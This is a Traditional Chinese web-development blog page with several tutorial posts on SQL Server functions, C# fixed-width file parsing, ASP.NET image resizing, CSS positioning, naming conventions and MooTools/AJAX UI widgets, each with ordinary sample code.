Useful User-Defined Functions for SQL Server

0 comments
在資料庫設計中,我們常會應用預儲程序(Stored Procedure)來對資料進行 CRUD 操作。除此之外,你也可以撰寫自訂函數來應付經常性的資料存取作業或是複雜的計算等等。在這裡,我羅列幾個我在過去開發商務系統中常會應用到的自訂函數。

fn_GetNextBusinessDay
指定起始日期,並傳回最近一個營業日期。
CREATE FUNCTION dbo.fn_GetNextBusinessDay(@StartingDate datetime)
RETURNS datetime
AS
BEGIN
DECLARE @NextBusinessDay datetime

IF DATEPART(dw, @StartingDate) = (7 - @@DATEFIRST + FLOOR(@@DATEFIRST / 7) * 7) --Saturday
SET @NextBusinessDay = DATEADD(d, 2, @StartingDate)
ELSE IF DATEPART(dw, @StartingDate) = (8 - @@DATEFIRST) --Sunday
SET @NextBusinessDay = DATEADD(d, 1, @StartingDate)
ELSE
SET @NextBusinessDay = @StartingDate

RETURN @NextBusinessDay
END

fn_GetTax
指定銷售額及稅率,並傳回應付的營業稅額。
CREATE FUNCTION dbo.fn_GetTax(@Amount int, @TaxRate real)
RETURNS real
AS
BEGIN
DECLARE @UntaxedPrice int, @Tax int
SET @UntaxedPrice = ROUND(CAST(@Amount AS real) / (1 + @TaxRate), 0)
SET @Tax = @Amount - @UntaxedPrice

RETURN @Tax
END

fn_FormatPercent
指定浮點數資料,並傳回百分比的表示式。
CREATE FUNCTION dbo.fn_FormatPercent(@InputNumber float)
RETURNS varchar(20)
AS
BEGIN
RETURN CAST(CAST(@InputNumber * 100 AS numeric(10, 0)) AS varchar(20)) + '%'
END

fn_PadLeft
將輸入字串靠右對齊,以特定的字元在左側填補至指定的總長度。
CREATE FUNCTION dbo.fn_PadLeft(@InputString varchar(1024), @PaddingChar char(1), @FieldLength int)
RETURNS varchar(1024)
AS
BEGIN
DECLARE @PaddingString varchar(1024)
IF @FieldLength > 0
SET @PaddingString = RIGHT(REPLICATE(@PaddingChar, @FieldLength) + @InputString, @FieldLength)
ELSE
SET @PaddingString = @InputString

RETURN @PaddingString
END

繼續閱讀...

Read Fixed-Width Text Records using C#

0 comments
雖然使用純文字檔格式(Flat File)來交換資料並不是很好的方式,然而在 XML 盛行的今日它仍是普遍存在的資料交換格式。純文字檔格式的資料列通常以特定的符號區隔,或是固定寬度欄位來區隔不同資料欄位。從程式員的觀點來看,處理固定寬度欄位格式的資料並不如使用特定的符號區隔的格式來得輕鬆。如果是使用傳統的方式從「位置」擷取資料,那將會更加麻煩。所以,本文在這裡就要介紹幾種處理固定寬度格式資料的解決方案。

以下範例文字檔內容是以固定寬度格式所描述的銷售訂單內容:
0001S0000120081101       2     5000
0001S0000220081101 10 2500
0001S0000320081101 1 10500

其檔案格式內容定義如下:
欄位名稱欄位長度
銷售店代號X(4)
訂單編號X(6)
訂單日期X(8)
銷售量9(8)
銷售金額9(9)

LINQ to Text Files
首先必須先定義一個延伸方法(Extension Method)來逐行讀取資料流,並建立可以供 LINQ 查詢的可列舉集合。在此我引用了 Eric White 在 LINQ to Text Files 中所提供的 StreamReaderSequence 類別:
public static class StreamReaderSequence
{
public static IEnumerable<string> Lines(this StreamReader source)
{
String line;

if (source == null)
throw new ArgumentNullException("source");
while ((line = source.ReadLine()) != null)
{
yield return line;
}
}
}

接下來使用規則運算式(Regular expression)依序定義群組編號及資料欄位長度:
Regex re = new Regex("^(?<1>.{4})" +
"(?<2>.{6})" +
"(?<3>.{8})" +
"(?<4>.{8})" +
"(?<5>.{9})",
RegexOptions.Compiled);

接著再搭配 LINQ 語法的 let 子句取得規則運算式比對所擷取的群組集合,然後併入查詢結果中:
using (StreamReader sr = new StreamReader(@"d:\orders.txt"))
{
var orders =
from line in sr.Lines()
let fields = re.Match(line).Groups
select new
{
StoreID = fields[1].Value.Trim(),
OrderNumber = fields[2].Value.Trim(),
OrderDate = DateTime.ParseExact(fields[3].Value.Trim(),
"yyyyMMdd", CultureInfo.InvariantCulture),
Quantity = int.Parse(fields[4].Value),
Amount = int.Parse(fields[5].Value)
};

foreach (var order in orders)
{
Console.WriteLine("{0},{1},{2},{3},{4}",
order.StoreID,
order.OrderNumber,
order.OrderDate,
order.Quantity,
order.Amount
);
}
}

LINQ to SQL
Microsoft OLE DB Provider for Jet 可用來存取及查詢文字檔,但必須在文字檔的相同目錄中建立 Schema.ini 檔來描述文字檔的結構:
[orders.txt]
Format=FixedLength
ColNameHeader=False
MaxScanRows=0
Col1=StoreID Text Width 4
Col2=OrderNumber Text Width 6
Col3=OrderDate DateTime Width 8
Col4=Quantity Long Width 8
Col5=Amount Long Width 9
DateTimeFormat=yyyyMMdd

然後,再定義一個資料結構對應的類別:
public class Order
{
public string StoreID;
public string OrderNumber;
public DateTime OrderDate;
public int Quantity;
public int Amount;
}

使用 DataContext 物件透過資料庫連接直接執行 SQL 查詢,並傳回資料結構對應的物件集合。
string filePath = @"d:\orders.txt";
string connString = string.Format( @"Provider=Microsoft.Jet.OLEDB.4.0;" +
"Data Source={0};" +
"Extended Properties='text;HDR=No;Format=FixedLength'",
Path.GetDirectoryName(filePath));

OleDbConnection conn = new OleDbConnection(connString);
DataContext db = new DataContext(conn);

string cmdText = string.Format("SELECT * FROM {0}",
Path.GetFileName(filePath).Replace(".", "#"));
var orders = db.ExecuteQuery<Order>(cmdText);

foreach (var order in orders)
{
Console.WriteLine("{0},{1},{2},{3},{4}",
order.StoreID,
order.OrderNumber,
order.OrderDate,
order.Quantity,
order.Amount
);
}

FileHelpers Library
FileHelpers 是一個用來處理符號區隔或是固定寬度資料的免費類別庫。使用前,你首先必須先定義一個資料結構對應的類別:
[FixedLengthRecord]
public class Order
{
[FieldFixedLength(4)]
public string StoreID;

[FieldFixedLength(6)]
public string OrderNumber;

[FieldFixedLength(8)]
[FieldConverter(ConverterKind.Date, "yyyyMMdd")]
public DateTime OrderDate;

[FieldFixedLength(8)]
[FieldTrim(TrimMode.Left)]
public int Quantity;

[FieldFixedLength(9)]
[FieldTrim(TrimMode.Left)]
public int Amount;
}

然後,透過 FileHelperEngine 讀取資料檔就會自動建立對應的物件陣列。
FileHelperEngine engine = new FileHelperEngine(typeof(Order));          
Order[] orders = engine.ReadFile(@"d:\orders.txt") as Order[];

foreach (var order in orders)
{
Console.WriteLine("{0},{1},{2},{3},{4}",
order.StoreID,
order.OrderNumber,
order.OrderDate,
order.Quantity,
order.Amount
);
}


參考資料:
LINQ TO Text Files by Eric White

繼續閱讀...

使用 C# 產生網頁縮圖

0 comments
在 Web 2.0 網站中,我們常可以看到分享文章或是推薦網站的快照縮圖(Snapshot Thumbnail),來供使用者預覽。如果要在 .NET 中要實做網頁快照,你可以使用 WebBrowser 控制項來達成。在本文中將會示範如何建立 Windows 應用程式來擷取網頁快照並產生縮圖。
snap

範例程式碼
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Windows.Forms;

namespace SnapExample
{
public partial class MainForm : Form
{
private WebPageSnapshot _wps = new WebPageSnapshot(1024, 768);

public MainForm()
{
InitializeComponent();
_wps.ImageCompleted += new ImageCompletedEventHandler(RefreshImage);
}

private void uxGo_Click(object sender, EventArgs e)
{
EnableButtons(false);
_wps.GenerateAsync(uxUrl.Text);
}

private void uxSaveAs_Click(object sender, EventArgs e)
{
uxSaveFileDialog.DefaultExt = "jpg";
uxSaveFileDialog.AddExtension = true;
uxSaveFileDialog.Filter = "JPEG(*.jpg)|*.jpg";
uxSaveFileDialog.ShowDialog(this);

string fileName = uxSaveFileDialog.FileName;
if (fileName != string.Empty)
{
uxThumbnail.BackgroundImage.Save(fileName);
}
}

private void RefreshImage(Image image)
{
decimal sizeRatio = ((decimal)image.Height / image.Width);

int thumbWidth = 100;
int thumbHeight = decimal.ToInt32(sizeRatio * thumbWidth);

Image thumb = image.GetThumbnailImage(
thumbWidth, thumbHeight,
() => false,
IntPtr.Zero
);

if (WebPageSnapshot.IsBlank((Bitmap)thumb))
{
using (Graphics g = Graphics.FromImage(thumb))
{
StringFormat format = new StringFormat();
format.Alignment = StringAlignment.Center;
format.LineAlignment = StringAlignment.Center;
g.DrawString(
"IMAGE NOT AVAILABLE",
new Font("Tahoma", 65),
Brushes.DarkGray,
new RectangleF(0, 0, thumbWidth, thumbHeight),
format
);
}
}

uxThumbnail.BackgroundImage = thumb;

EnableButtons(true);
}

private void EnableButtons(bool enabled)
{
uxSaveAs.Enabled = enabled;
}

private void uxCancel_Click(object sender, EventArgs e)
{
_wps.CancelAsync();
}
}
}

WebPageSnapshot 是一個以 WebBrowse 類別為對象的自訂外覆類別(Wrapper Class)。透過非同步呼叫 GenerateAsync 方法,會將網頁載入到內部隱含的 WebBrowser 實例中。當 WebBrowser 完整載入網頁後,便會呼叫其 DrawToBitmap 方法建立網頁快照的點陣圖,然後引發 ImageCompleted 事件傳回快照圖。在上例中,將會由 RefreshImage 程序來處理 ImageCompleted 事件,並藉由傳入的 Image 物件的 GetThumbnailImage 方法建立縮圖影像。

不過,在測試過程中發現偶會有擷取到空白影像的情況。為了能處理此例外狀況,我從這裡找來了辨識空白圖片的程式演算法,並引用到 WebPageSnapshot 類別的 IsBlank 靜態方法。在範例中,我就對空白截圖繪製了 "IMAGE NOT AVAILABLE" 的字樣。
no image

Download source code

參考資料:
Algorithm to Detect Blank Images by Chinh Do
Event-based Asynchronous Pattern Overview by Microsoft

繼續閱讀...

ASP.NET Image Uploading with Resizing

0 comments
當你使用 ASP.NET 建立上傳圖檔的應用程式時,除了要決定寫入檔案系統或是儲存到資料庫外,你可能還會需要依照原圖的尺寸比例來調整圖片的大小,以符合系統的需求。本文範例程式碼將透過 Image 及 Bitmap 類別,對上傳的原圖進行比例縮放,並以 JPEG 圖檔格式存儲。

<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="Drawing=System.Drawing" %>
<script runat="server">
const string _uploadFolder = "~/images/";
const int _maxThumbWidth = 100;

protected void uxUpload_Click(object sender, EventArgs e)
{
if (uxImageFile.HasFile)
{
if (IsValidImage(uxImageFile.FileName))
{
string thumbPath = _uploadFolder +
Path.ChangeExtension(Path.GetRandomFileName(), ".jpg");

using (Drawing::Image image =
Drawing::Image.FromStream(uxImageFile.PostedFile.InputStream))
{
decimal sizeRatio = ((decimal)image.Height / image.Width);
int thumbWidth = _maxThumbWidth;
int thumbHeight = decimal.ToInt32(sizeRatio * thumbWidth);

using (Drawing::Bitmap bitmap =
new Drawing::Bitmap(image, new Drawing::Size(thumbWidth, thumbHeight)))
{
bitmap.Save(Server.MapPath(thumbPath),
Drawing::Imaging.ImageFormat.Jpeg);
}
}
uxThumbImage.ImageUrl = thumbPath;
}
else
{
// This type of file is not allowed.
uxThumbImage.ImageUrl = string.Empty;
}
}
}

public bool IsValidImage(string path)
{
return Regex.IsMatch(path, @"(.*?)\.(gif|jpg|jpeg|png)$", RegexOptions.IgnoreCase);
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Image Upload and Resize</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:FileUpload ID="uxImageFile" runat="server" /><br/>
<asp:Button ID="uxUpload" runat="server"
Text="Upload" onclick="uxUpload_Click" /><br/>
<asp:Image ID="uxThumbImage" runat="server"
onerror="javascript:this.style.display='none';" />
</div>
</form>
</body>
</html>

參考資料:
Create High Quality Thumbnail - Resize Image Dynamically - ASP .Net C# Code

繼續閱讀...

Understanding CSS Positioning

0 comments
在網頁中,CSS 將每個元素視為一個矩形區塊(Box)。每個區塊則由內容(Content)、邊距(Padding)、邊框(Border)及邊界(Margin)等區域組合而成,這樣的概念又被稱為區塊模型(Box Model)。
box
CSS 運用區塊模型的概念,將樣式套用在元素上來決定其外觀及位置。本文接下來將介紹在 CSS 排版中不可或缺的定位(Positioning)觀念。
靜態位置(position:static)
這是所有 HTML 元素預設的 position 屬性值(也就是沒有定位),它會配合版面配置規則(Layout Rule)決定其位置座標。所以,如果在 position:static 的元素設定 top、left、right 或 bottom 等偏移(Offset)屬性將會自動被忽略。

相對位置(position:relative)
相對於原本的位置(靜態位置),也就是將元素從原先的位置,依據元素的偏移屬性,將元素作對應的距離調整,而且其原本位置的區塊空間將會被保留,位移後也可能會覆蓋其它區塊。如果有區塊相互重疊的情況,你可以使用 z-index 屬性來決定重疊的順序。


絕對位置(position:absolute)
以父元素的邊界位置為基點,再依據偏移屬性作對應的距離調整。如果其上層的親代元素都不是以 absolute 或 relative 定位時,那麼就會以 body 元素的邊界為基準。該元素會從 HTML 的正常排版(Normal Flow)中移除,然後再依據容器區塊(Containing Box)的邊界來重新定位該元素,因此也可能會覆蓋其它原塊。而所謂的正常排版是指從上而下、由左至右的編排方式。例如段落區塊(Block Box)會在其容器區塊中從上而下排列;而行內區塊(Inline Box)則是由左至右排列。


固定位置(position:fixed)
基本上與絕對位置的定位方式相同,為一的差別在於其位置固定,且不會隨捲軸的移動而改變,就像浮水印(Watermark)一樣。這個屬性值並不適用 IE 6 或更早期的版本。

參考資料:
CSS basic box model

繼續閱讀...

.NET Naming Conventions

0 comments
遵循良好的命名慣例可以讓程式更容易被理解和閱讀。尤其,在團隊工作中採用一致的命名方針將利於程式碼的整合與維護。

匈牙利命名法(Hungarian Notation)是常見的命名方式,如果你在 .NET 程式設計中一眛的沿用匈牙利命名法,不僅無助於提升程式碼的可維護性,甚至會因為命名冗雜造成反效果。果真如此,你就更應該考慮使用更好的命名方式。在這裡推薦由 Pete Brown 依據微軟的開發類別庫的設計方針及業界公認標準(Industry-Accepted Standards)所整理的 .NET 命名準則,非常具有參考價值。

值得一提的是,這份文件還特別針對 Windows 表單和 Web 表單中的 UI 控制項識別名稱,提出獨道的命名原則。雖然作者特別強調不贊成使用匈牙利命名法的原因,然而在不使用匈牙利命名法的原則下,UI 控制項的識別名稱是唯一不在此限的例外。作者建議對所有 UI 控制項的識別名稱,統一採用 "ux"(意即 User eXperience 的縮寫)做為前綴詞(Prefix),其所持的理由如下:
  1. 相較於使用型別相依的匈牙利命名法更為簡潔,且不用顧慮變更控制項型別所帶來的名稱衝突問題。
  2. 有助於在 Intellisense 中將你的控制項型別變數名稱群組在一起。

如此一來,將可擺脫以往使用繁雜的控制項前綴詞(如 txt、btn 等)的命名方式。如果你也像我一樣常為控制項識別名稱命名感到苦惱,那麼相信採用新命名法將會為你帶來更佳的表單開發經驗。

資料來源:
Common .NET Naming Conventions by Pete Brown

繼續閱讀...

Mooquee - Marquee with Mootools

2 comments
Mooquee 是一個以 MooTools 為基礎所設計的跑馬燈的 JavaScript 類別,它提供建構選項可以表現出多種不同於 Marquee 標籤的跑馬燈動畫效果。

實作時,除了要引用 Mooquee 程式庫外,你還需要搭配 MooTools 1.2。在建構 Mooquee 物件時,你可以設定以下建構選項:
  • element:指定做為跑馬燈區塊的 HTML 元素識別碼。
  • cssitem:指定播放項目的樣式類別名稱。
  • firstitem:指定第一個播放項目的索引。
  • direction:以 up、down、left 或 right 指定跑馬燈移動的方向。
  • pause:以秒為單位指定每次停止時間,且必須大於或等於 duration 的值,其預設值為 1 秒。
  • duration:以秒為單位指定每次移動所需時間,其預設值為 1 秒。
  • overflow:設定當內容超出跑馬燈區塊範圍時的處理方式,預設值為 hidden。
  • startOnLoad:指定是否自動播放,預設值為 true。
如以下範例會建立向上垂直捲動的跑馬燈:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Mooquee Example</title>
<style type="text/css">
#mooquee_container {
width: 200px;
height: 20px;
border: 1px solid;
}
.mooquee_item {
background-color: #ffffff;
}
</style>
<script type="text/javascript" src="mootools-1.2-core.js"></script>
<script type="text/javascript" src="Mooquee.js"></script>
<script type="text/javascript">
window.addEvent('domready', function() {
var mooquee = new Mooquee({
element:'mooquee_container',
cssitem:'mooquee_item',
direction:'up',
duration:1,
pause:2,
firstitem:0
});
});
</script>
</head>
<body>
<div id="mooquee_container">
<div class="mooquee_item">跑馬燈訊息第 1 則</div>
<div class="mooquee_item">跑馬燈訊息第 2 則</div>
<div class="mooquee_item">跑馬燈訊息第 3 則</div>
</div>
</body>
</html>

繼續閱讀...

Internet Explorer 8 Web Slices

0 comments
Web Slices 是 Internet Explorer 8 的新功能之一,網頁開發者可以在單一網頁中指定多個區塊(Slices)供使用者訂閱到 IE8 新的最愛列(Favorites Bar)。

現在很多網站都會提供 RSS(Really Simple Syndication)的網站內容訂閱服務。使用者只要利用 RSS 閱讀器訂閱內容,就可以方便獲得網站的更新資訊,而不需造訪網站檢閱是否有變更或新資訊。對於提供 RSS 服務的網站來說,它必須提供特定格式的 XML 檔案(亦即 RSS feed)的內容,才能供閱讀器下載及檢查更新。相較之下,Web Slices 並不需要個別的 Feed 檔案,而是直接在網頁中定義 Feed 項目,如以下範例:
<div id="Div1" class="hslice">
<h4 class="entry-title">Web Slice Title</h4>
<div class="entry-content">
This will appear in the preview window.
</div>
</div>
如你所見,你只要在 HTML 標籤中透過 class 屬性,套用如上例粗體標示的樣式類別名稱,即可在網頁啟用 多個 Web Slice。一個最簡單的 Web Slice 至少要具備以下三個要素:
  • 一個套用 hslice 樣式類別的父元素。
  • 父元素的必須具備唯一的 ID 識別名稱。
  • 一個套用 entry-title 樣式類別的子元素。
當 IE 8 偵測到網頁有可用的 Web Slice 時,其工具列上的就會出現綠色的 圖示來提示使用者。同時,當使用者的滑鼠游標移至網頁中的 Web Slice 時也會出現相同的圖示。當使用者按下圖示就可訂閱 Web Slices,並將其新增至 [我的最愛] 列。只要使用者訂閱 Web Slices,便可以直接在 [我的最愛] 列開啟快顯視窗預覽到相關資訊。如果有興趣,你可以先體驗 eBay 實作 Web Slices 的專屬網站:htt://ie8.ebay.com/

相關連結:
New RSS Features for Internet Explorer 8
Internet Explorer 8 Web Slice Style Guide
Internet Explorer 8 Beta 1 Whitepapers - Release WebSlices

繼續閱讀...

AJAX DateTimePicker Extender

15 comments
在 Windows Forms 中,有 DateTimePicker 控制項可以用來選擇日期或編輯時間。然而,在 ASP.NET 中只有內建可選取日期的 Calendar Web 伺服器控制項,以及 AJAX Control Toolkit 提供的 Calendar 擴充項外,並沒有兼具選擇日期或編輯時間的 Web 控制項。所幸,jscalendar 正好可以滿足這樣的需求。它是一款功能強大且免費的 DHTML 日期選擇器,不僅內建多種的面板和色彩主題,還支援多國語言顯示介面。

為了能方便引用到 ASP.NET 網頁中,於是自己便著手將 jscalendar 1.0 封裝到自訂的 AJAX DateTimePicker 擴充項控制項。


DateTimePicker 擴充項的屬性
屬性說明
Align指定快顯日曆的對齊方式,預設值為 "Br"。詳見對齊方式格式說明。
Format指示要套用到文字方塊中的日期顯示格式,期預設值為 "%Y-%m-%d"。詳見自訂日期時間格式說明。
FirstDayOfWeek以 0 到 6 指定每週的起始日,0 表示星期日,1 為星期一,依此類推。預設為星期日。
PopupButtonID指定用來觸發顯示快顯日曆的控制項識別碼。
TargetControlID指定顯示選取日期的 TextBox 控制項識別碼。
Theme預設的日曆面板主題為 Aqua,你可以依照偏好變更為其他的面版樣式:Blue、Blue2、Brown、Green、System、Tas、Win2k1、Win2k2、Win2kCold1、Win2kCold2。
TimeMode以 12 或 24 定義時間格式,預設為 12 小時制。
SingleClick指定日期選擇是 Single-Click 或 Double-Click 模式。若指定為 true(預設值)則表示為 Single-Click 模式。
ShowsTime指定是否顯示時間,若指定為 false(預設值)則表示不顯示。
WeekNumbers指定是否顯示星期名稱,若指定為 true(預設值)則表示要顯示。

對齊方式格式
使用 Align 屬性可以指定快顯日曆的垂直對齊(Vertical Alignment)及水平對齊(Horizontal Alignment)方式。在 Align 屬性中的第一個字元表示垂直對齊方式,其格式規範如下:
格式說明
T下邊緣與目標元素的上邊緣相鄰對齊。
t下邊緣與目標元素的下邊緣相鄰對齊。
c垂直置中於目標元素。
b上邊緣與目標元素的上邊緣相鄰對齊。
B上邊緣與目標元素的下邊緣相鄰對齊。

第二個字元表示水平對齊方式,其格式規範如下:
格式說明
L右邊緣與目標元素的左邊緣相鄰對齊。
l左邊緣與目標元素的左邊緣相鄰對齊。
c水平置中於目標元素。
r右邊緣與目標元素的右邊緣相鄰對齊。
R左邊緣與目標元素的右邊緣相鄰對齊。

自訂日期時間格式
以下是使用 Format 屬性指定自訂日期時間格式的規範:
格式說明
%a表示星期名稱的縮寫。
%A表示星期名稱的全名。
%b表示月份名稱的縮寫
%B表示月份名稱的全名。
%C表示世紀的數字。
%d以 00 到 31 表示月份的日期。
%e以 0 到 31 表示月份的日期。
%H以 00 到 23 的數字來表示小時。
%I以 01 到 12 的數字來表示小時。
%j本年第幾天。
%k以 0 到 23 的數字來表示小時。
%l以 1 到 12 的數字來表示小時。
%m以 01 到 12 的數字代表月份。
%M以 00 到 59 的數字來表示分鐘。
%n表示換行字元。
%p表示 PM 或 AM。
%P表示 pm 或 am。
%S以 00 到 59 的數字來表示秒數。
%s自 Epoch 系統時間開始所經過的秒數。
%t表示 Tab 字元。
%U, %W, %V本年的第幾周。
%u以星期一為起始序數,從 1 到 7 的數字代表星期的日期。
%w以星期日為起始序數,從 0 到 6 的數字代表星期的日期。
%y以兩個位數的數字來表示年份。
%Y以四個位數的數字來表示年份。
%%將 % 字元顯示為常值(Literal)。

範例
下列範例會建立能讓使用者選擇日期及時間的日曆:
<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
<ace:DateTimePickerExtender ID="DateTimePickerExtender1" runat="server"
TargetControlID="TextBox1"
Format="%Y-%m-%d %H:%M"
ShowsTime="true"
SingleClick="false" />

你也可以加入按鈕來開啟快顯日曆:
<asp:TextBox ID="TextBox2" runat="server"></asp:TextBox>
<asp:Button runat="server" ID="Button2" Text="..." OnClientClick="return false;" />
<ace:DateTimePickerExtender ID="DateTimePickerExtender2" runat="server"
TargetControlID="TextBox2"
PopupButtonID="Button2"
Format="%Y-%m-%d %H:%M"
ShowsTime="true" />


 Download source code - for ASP.NET 3.5

資料來源:
http://sourceforge.net/projects/jscalendar/

繼續閱讀...

Ajax Loading Gif Generator

2 comments
建置 AJAX-Enabled 網頁,可以藉由網頁局部更新(Partial-page Update)改進使用者經驗。然而,一個良好的 AJAX 網頁,在一個或多個網頁局部呈現的過程中,應該要能提供更新狀態的視覺化回應,用圖形或文字提示使用者。通常,你可以加入動畫圖檔來回饋使用者的處理要求,讓使用者介面更為活潑。然而,在這裡並非要介紹如何在網頁局部更新中提供視覺化回應,而是要推薦一個免費提供 AJAX Loading 動畫圖示的產生器:Ajaxload

它有多達 37 種圖示樣式(Indicator type)可供選擇,並且可以隨心所欲調整前景及背景顏色:


按下 [Generate it!] 按鈕後,你就可以在預覽區下載你的動畫圖示:


資料來源:
http://www.ajaxload.info/

繼續閱讀...

Slideshow 2!

0 comments
Slideshow 2! 是一個以 Mootools 為基礎所設計的 JavaScript 類別,它可以協助你輕易建立多種有如 Flash 動畫效果般的 DHTML 投影片播放器。除了完整的功能之外,其動感的視覺效果表現更是 Slideshow 2! 的重點特色。你可以從這裡找到最新版本的原始碼及說明文件。

在這裡,我就列舉兩種最常用的播放器型態。如以下範例會以淡入淡出(Fading)的特效,循環播放含有標題的相片:
<html>
<head>
<title>Slideshow 2! Example</title>
<link rel="stylesheet" type="text/css" href="css/slideshow.css" media="screen" />
<script type="text/javascript" src="js/mootools.js"></script>
<script type="text/javascript" src="js/slideshow.js"></script>
<script type="text/javascript">
window.addEvent('domready', function() {
var data = {
'1.jpg': { caption: '晨曦乍現' },
'2.jpg': { caption: '藍天浮雲' },
'3.jpg': { caption: '夕陽餘暉' }
};
var myShow = new Slideshow('show', data, {
captions: true, controller: true, hu: 'images/', width: 400, height: 300
});
});
</script>
</head>
<body>
<div id="show" class="slideshow">
<img src="images/1.jpg" width="400" height="300" />
</div>
</body>
</html>



你也可以加入有縮圖的移動捲軸:
<script type="text/javascript">
window.addEvent('domready', function(){
var data = ['1.jpg', '2.jpg', '3.jpg', '4.jpg', '5.jpg', '6.jpg', '7.jpg'];
var myShow = new Slideshow('show', data, {
thumbnails: true, controller: true, hu: 'images/', width: 400, height: 300
});
});
</script>


除此之外,它還能表現出遠近縮放(Zoom)、推進(Push)等特效的動態相片。你可以從這裡看到更多令人驚艷的範例作品展示。如果你覺得這個程式真是受用,不妨也可以到作者的網站,用贊助的行動鼓勵作者喔!

資料來源:
Slideshow 2! A javascript class for Mootools 1.2 to stream and animate the presentation of images on your website by Aeron Glemann

P.S. 本文所使用的範例圖片係取材自 http://www.freeimages.co.uk/

繼續閱讀...

AJAX ModalPopup Extender in GridView Control

5 comments
在 ASP.NET 3.5 中,你可以使用 UpdatePanel 及 ScriptManager 伺服器控制項來更新局部的網頁,而不需重新載入整個網頁。當你使用 GridView 控制項搭配 UpdatePanel 控制項,對資料來源進行編輯、刪除等功能,及重新繫結資料更新頁面的記錄,就可以透過觸發 UpdatePanel 控制項來完成。

你可以啟用 GridView 控制項內建的編輯功能,讓使用者能夠編輯個別資料列的內容。但如果需要編輯的資料欄位或是內容不足以在有限的方格(Grid)中呈現時,就必須考慮其他編輯模式。這時,你可以考慮搭配 DetailsView 控制項,或是採用更進階的巢狀式應用等。不過,在這裡要介紹另一種呈現方式,就是選用 ModalPopupExtender 控制項,以強制回應的快顯對話方塊來編輯資料列的內容。本文接下來的主題將帶你瞭解如何把 ModalPopupExtender 控制項整合應用到 GridView 控制項。ModalPopupExtender 控制項是 AJAX Control Toolkit 所提供的擴充性控制項。你可以造訪這裡下載 AJAX Control Toolkit。

本範例會從 AdventureWorks 範例資料庫,使用 GridView 控制項搭配使用 FormView 控制項,建立員工資訊的主要及詳細頁面。你可以從這裡下載範例資料庫。

定義 GridView 的內容
首先,你需定義一個包含 GridView 控制項的更新面板:
<asp:UpdatePanel ID="EmployeesUpdatePanel" runat="server" UpdateMode="Conditional">
<ContentTemplate>
<asp:GridView ID="EmployeesGridView" runat="server" DataKeyNames="EmployeeID"
DataSourceID="EmployeesSqlDataSource" AutoGenerateColumns="False" AllowPaging="True">
<Columns>
<asp:BoundField DataField="FirstName" HeaderText="First Name"
SortExpression="FirstName" />
<asp:BoundField DataField="LastName" HeaderText="Last Name"
SortExpression="LastName" />
<asp:BoundField DataField="NationalIDNumber" HeaderText="ID Number"
SortExpression="NationalIDNumber" />
<asp:BoundField DataField="Gender" HeaderText="Gender"
SortExpression="Gender" ItemStyle-HorizontalAlign="Center" />
<asp:BoundField DataField="BirthDate" HeaderText="Birth Date"
SortExpression="BirthDate" DataFormatString="{0:yyyy/MM/dd}" />
<asp:BoundField DataField="MaritalStatus" HeaderText="Marital Status"
SortExpression="MaritalStatus" ItemStyle-HorizontalAlign="Center" />
<asp:TemplateField>
<ItemTemplate>
<a href="javascript:showModalPopup(<%# Eval("EmployeeID")%>);">Edit</a>
</ItemTemplate>
</asp:TemplateField>
</Columns>
</asp:GridView>
</ContentTemplate>
</asp:UpdatePanel>

上例中,在 GridView 控制項的資料行中加入樣板欄位,並在其 ItemTemplate 標籤中,加入一個編輯連結用來呼叫 JavaScript 函式,以顯示快顯對話方塊。


定義快顯對話方塊的內容
接下來,就是定義包含強制回應快顯對話方塊內容的面板:
<asp:Panel id="ModalPopupPanel" runat="server" Style="display: none" CssClass="modalPopup">
<asp:UpdatePanel ID="ModalPopupUpdatePanel" runat="server" UpdateMode="Conditional"
ChildrenAsTriggers="False">
<ContentTemplate>
<asp:UpdateProgress ID="ModalPopupUpdateProgress" runat="server"
AssociatedUpdatePanelID="ModalPopupUpdatePanel">
<ProgressTemplate>
<div>Loading ...</div>
</ProgressTemplate>
</asp:UpdateProgress>
<asp:FormView ID="EmployeeFormView" runat="server" DefaultMode="Edit"
DataKeyNames="EmployeeID" DataSourceID="EmployeeDetailsSqlDataSource"
OnItemUpdated="EmployeeFormView_ItemUpdated">
<EditItemTemplate>
<table>
<tr>
<td>First Name:</td>
<td>
<asp:Label ID="FirstNameLabel" runat="server"
Text='<%# Eval("FirstName") %>' />
</td>
</tr>
<tr>
<td>Last Name:</td>
<td>
<asp:Label ID="LastNameLabel" runat="server"
Text='<%# Eval("LastName") %>' />
</td>
</tr>
<tr>
<td>ID Number:</td>
<td>
<asp:TextBox ID="NationalIDNumberTextBox" runat="server"
Text='<%# Bind("NationalIDNumber") %>' />
</td>
</tr>
<tr>
<td>Gender:</td>
<td>
<asp:DropDownList ID="GenderDropDownList" runat="server"
SelectedValue='<%# Bind("Gender") %>'>
<asp:ListItem Value="M">Male</asp:ListItem>
<asp:ListItem Value="F">Female</asp:ListItem>
</asp:DropDownList>
</td>
</tr>
<tr>
<td>Birth Date:</td>
<td>
<asp:TextBox ID="BirthDateTextBox" runat="server"
Text='<%# Bind("BirthDate","{0:yyyy/MM/dd}") %>' />
</td>
</tr>
<tr>
<td>Marital Status:</td>
<td>
<asp:DropDownList ID="MaritalStatusDropDownList" runat="server"
SelectedValue='<%# Bind("MaritalStatus") %>'>
<asp:ListItem Value="M">Married</asp:ListItem>
<asp:ListItem Value="S">Single</asp:ListItem>
</asp:DropDownList>
</td>
</tr>
</table>
<asp:Button ID="HiddenUpdateButton" runat="server" CommandName="Update"
style="display: none" />
</EditItemTemplate>
</asp:FormView>
<asp:HiddenField ID="EmployeeIDHiddenField" runat="server"
OnValueChanged="EmployeeIDHiddenField_ValueChanged" />
<asp:Label ID="UpdatePanelMessage" runat="server" />
</ContentTemplate>
</asp:UpdatePanel>
<div style="text-align: center">
<asp:Button id="OkButton" runat="server" Text="確 定" CommandName="Update"></asp:Button>
<asp:Button id="CancelButton" runat="server" Text="取 消"></asp:Button>
</div>
</asp:Panel>

